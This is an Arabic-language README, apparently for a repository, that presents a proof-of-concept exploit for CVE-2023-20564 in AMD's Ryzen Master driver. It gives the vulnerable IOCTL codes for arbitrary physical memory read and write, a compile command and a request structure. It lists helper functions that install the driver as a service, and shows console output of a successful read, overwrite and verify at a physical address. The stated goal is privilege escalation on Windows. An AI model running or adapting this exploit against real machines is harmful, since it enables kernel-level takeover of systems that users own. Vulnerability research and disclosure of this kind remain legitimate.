
استغلال لإثبات المفهوم لثغرة CVE-2023-20564 يوضح القراءة/الكتابة العشوائية للذاكرة الفعلية عبر معالجات IOCTL لبرنامج تشغيل AMD Ryzen Master، مما يتيح تصعيد الامتيازات على نظام Windows.
يحتوي هذا المستودع على إثبات مفهوم (PoC) يوضح الثغرة الأمنية CVE-2023-20564 في برنامج تشغيل AMD Ryzen Master. تسمح هذه الثغرة للمستخدمين غير المصرح لهم بقراءة وكتابة الذاكرة الفعلية بشكل عشوائي، مما يؤدي إلى احتمالية تصعيد الامتيازات واختراق النظام.
يحتوي برنامج تشغيل AMD Ryzen Master (AMDRyzenMasterDriverV17.sys) على تحقق غير كافٍ في معالجات IOCTL الخاصة به، وتحديدًا:
0x81112F08 - يسمح بقراءة الذاكرة الفعلية بشكل عشوائي0x81112F0C - يسمح بكتابة الذاكرة الفعلية بشكل عشوائييفشل برنامج التشغيل في التحقق بشكل صحيح من:
وهذا يسمح للتطبيقات الضارة بـ:
AMDRyzenMasterDriverV17.sys - ملف برنامج التشغيل المعرض للثغرة# يدويًا
g++ -std=c++17 poc_demo.cpp -o poc_demo.exe -ladvapi32
typedef struct _AMDReadStructure {
LARGE_INTEGER PhysAddr; // Physical address to read
LARGE_INTEGER SizeAndData; // Size and data buffer
CHAR Buffer[1]; // Variable data buffer
} AMDReadStructure, *PAMDReadStructure;
ReadPhysicalMemory() - للقراءة من الذاكرة الفعليةWritePhysicalMemory() - للكتابة إلى الذاكرة الفعليةTestReadWriteVerify() - تسلسل الاختبار الكاملInstallDriverService() - تثبيت برنامج التشغيلStopAndRemoveDriverService() - تنظيف برنامج التشغيل===========================================
AMD Ryzen Master Driver - Memory PoC
===========================================
[*] Installing and starting driver service...
[+] Driver file found
[+] Service created successfully
[+] Service started successfully
[*] Initializing driver connection...
[+] Driver connection established successfully
[!] TESTING READ/WRITE/VERIFY SEQUENCE
[STEP 1] Reading original data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Read 8 bytes from 0x100000
Data: 4D 5A 90 00 03 00 00 00
[STEP 2] Writing test data...
[*] Writing 8 bytes to physical address 0x100000
Data: DE AD BE EF CA FE BA BE
[*] PHYSICAL MEMORY WRITE SUCCESS!
Wrote 8 bytes to 0x100000
[STEP 3] Verifying written data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Data: DE AD BE EF CA FE BA BE
[*] DATA VERIFICATION SUCCESS! Write/Read works correctly!
يكشف برنامج التشغيل المعرض للثغرة عن IOCTLين رئيسيين:
قراءة الذاكرة الفعلية (0x81112F08)
كتابة الذاكرة الفعلية (0x81112F0C)
تذكير: هذه الأداة مخصصة لاختبار الأمان المصرح به فقط. احصل دائمًا على الإذن المناسب قبل الاختبار على أي نظام.